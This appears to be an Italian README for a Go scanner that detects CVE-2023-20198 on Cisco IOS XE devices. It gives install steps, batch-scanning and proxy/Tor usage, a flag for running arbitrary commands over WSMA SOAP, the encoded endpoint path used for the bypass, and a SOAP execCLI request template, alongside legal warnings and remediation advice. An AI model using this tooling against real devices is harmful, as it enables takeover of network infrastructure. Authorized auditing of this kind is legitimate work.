Cisco CVE-2023-20198 Checker

Scanner professionale di vulnerabilità per il rilevamento di CVE-2023-20198 sui dispositivi Cisco IOS XE. Verifica le interfacce SOAP/XML vulnerabili (WSMA). Progettato per valutazioni di sicurezza autorizzate e audit di rete.

⚠️ Avvertenze legali

SOLO PER TEST DI SICUREZZA AUTORIZZATI

Questo strumento è destinato esclusivamente a:

• Scansione autorizzata di vulnerabilità
• Audit di sicurezza con consenso scritto esplicito
• Valutazioni di sicurezza della rete
• Scopi didattici in ambienti di laboratorio controllati
• Test di conformità e penetrazione

L'accesso non autorizzato ai sistemi informatici è ILLEGALE. Assicurati sempre di avere la dovuta autorizzazione prima di testare qualsiasi sistema.

---

🚀 Avvio rapido

Installazione

Usando go install (consigliato)

go install github.com/gustavorobertux/cisco-cve-2023-20198-checker@latest

Il binario verrà installato nella directory $GOPATH/bin (di solito ~/go/bin).

Installazione manuale

# Clona il repository
git clone https://github.com/gustavorobertux/cisco-cve-2023-20198-checker.git
cd cisco-cve-2023-20198-checker

# Compila
go build -o cisco-cve-2023-20198-checker

# Installa (opzionale)
sudo mv cisco-cve-2023-20198-checker /usr/local/bin/

Utilizzo base

# Verifica un singolo target
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin123

# Verifica più target
cisco-cve-2023-20198-checker -targets-file targets.txt -password admin

# Genera report HTML
cisco-cve-2023-20198-checker -target 10.0.0.1 -password secret -html

---

📋 Funzionalità

• ✅ Rilevamento vulnerabilità - Verifica la presenza di CVE-2023-20198 (WSMA RCE)
• ✅ Scansione singola e batch di target
• ✅ Supporto porta personalizzata (default: 443)
• ✅ Esecuzione comandi tramite SOAP/XML
• ✅ Generazione report HTML professionali
• ✅ Zero dipendenze esterne
• ✅ Multipiattaforma (Linux, macOS, Windows)
• ✅ Opzione per saltare la verifica SSL/TLS
• ✅ Timeout configurabili
• ✅ Supporto proxy (HTTP, HTTPS, SOCKS5)
• ✅ Proxy autenticati
• ✅ Supporto variabili d'ambiente (HTTP_PROXY, HTTPS_PROXY)

---

🌐 Supporto proxy

Perfetto per ambienti aziendali! Supporta:

• Proxy HTTP/HTTPS
• Proxy SOCKS5 (tunnel SSH, Tor)
• Proxy autenticati
• Variabili d'ambiente

# Proxy HTTP
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -proxy http://proxy.company.com:8080

# SOCKS5 (tunnel SSH)
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin \
  -proxy socks5://127.0.0.1:1080

# Variabile d'ambiente
export HTTPS_PROXY=http://proxy.company.com:8080
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin

Vedi PROXY_GUIDE.md per la configurazione dettagliata del proxy.

---

💻 Opzioni da riga di comando

Flag	Tipo	Default	Descrizione
-target	stringa	-	IP/hostname del singolo target
-targets-file	stringa	-	File con i target (uno per riga)
-port	intero	443	Porta HTTPS/SOAP
-username	stringa	admin	Nome utente SOAP
-password	stringa	-	Obbligatoria. Password SOAP
-command	stringa	uname -a	Comando da eseguire
-html	booleano	false	Genera report HTML
-timeout	intero	10	Timeout richiesta (secondi)
-skip-verify	booleano	true	Salta verifica SSL
-proxy	stringa	-	URL proxy (http://, https://, socks5://)

---

📖 Esempi di utilizzo

Test su singolo target

# Verifica vulnerabilità di base
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin123

# Porta personalizzata
cisco-cve-2023-20198-checker -target 10.0.0.1 -port 8443 -password secret

# Esegue un comando specifico
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -command "show version"

# Genera report
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin -html

Test batch

# Crea file dei target
cat > targets.txt << EOF
192.168.1.100
10.0.0.1
172.16.0.50
EOF

# Testa tutti i target
cisco-cve-2023-20198-checker -targets-file targets.txt -password admin123

# Batch con report HTML
cisco-cve-2023-20198-checker -targets-file devices.txt -password admin -html

Comandi avanzati

# Enumerazione di rete
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -command "show ip interface brief"

# Rilevamento versione
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -command "show version"

# Tramite proxy HTTP
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -proxy http://proxy.company.com:8080

# Tramite proxy SOCKS5 (tunnel SSH)
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin \
  -proxy socks5://127.0.0.1:1080

# Proxy autenticato
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -proxy http://user:[email protected]:8080

---

🔧 Informazioni su CVE-2023-20198

Dettagli della vulnerabilità

CVE ID: CVE-2023-20198
Punteggio CVSS: 10.0 (Critico)
Tipo: Esecuzione di codice remoto (RCE)
Affetti: Cisco IOS XE Web UI (WSMA)

Dettagli tecnici

• Endpoint: /%2577ebui_wsma_https (bypass codifica percorso)
• Protocollo: SOAP 1.1 su HTTPS
• Autenticazione: WS-Security UsernameToken (credenziali valide richieste)
• Namespace: urn:cisco:wsma-exec
• Impatto: Compromissione completa del dispositivo con credenziali valide

Struttura della richiesta SOAP

<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP:Header>
        <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
            <wsse:UsernameToken>
                <wsse:Username>admin</wsse:Username>
                <wsse:Password>password</wsse:Password>
            </wsse:UsernameToken>
        </wsse:Security>
    </SOAP:Header>
    <SOAP:Body>
        <request xmlns="urn:cisco:wsma-exec">
            <execCLI>
                <cmd>COMMAND_HERE</cmd>
            </execCLI>
        </request>
    </SOAP:Body>
</SOAP:Envelope>

---

🛡️ Rimedi

Per amministratori di sistema

Se i tuoi dispositivi sono vulnerabili:

1. Disabilita WSMA (se non necessario)

no ip http server
no ip http secure-server

2. Limita l'accesso con ACL

ip http access-class MGMT-ONLY
ip access-list standard MGMT-ONLY
  permit 10.0.0.0 0.0.0.255
  deny any log

3. Aggiorna il firmware - Applica le ultime patch di sicurezza Cisco

4. Abilita autenticazione forte

aaa new-model
aaa authentication login default group tacacs+ local

5. Monitora i log - Controlla attività SOAP/HTTP sospette

---

🏗️ Compilazione dal sorgente

Prerequisiti

• Go 1.21 o superiore

Compilazione

# Compilazione standard
go build -o cisco-cve-2023-20198-checker

# Ottimizzata (binario più piccolo)
go build -ldflags="-s -w" -o cisco-cve-2023-20198-checker

# Cross-compilazione per diverse piattaforme
GOOS=linux GOARCH=amd64 go build -o cisco-cve-2023-20198-checker-linux
GOOS=windows GOARCH=amd64 go build -o cisco-cve-2023-20198-checker.exe
GOOS=darwin GOARCH=arm64 go build -o cisco-cve-2023-20198-checker-mac-m1

---

📊 Esempi di output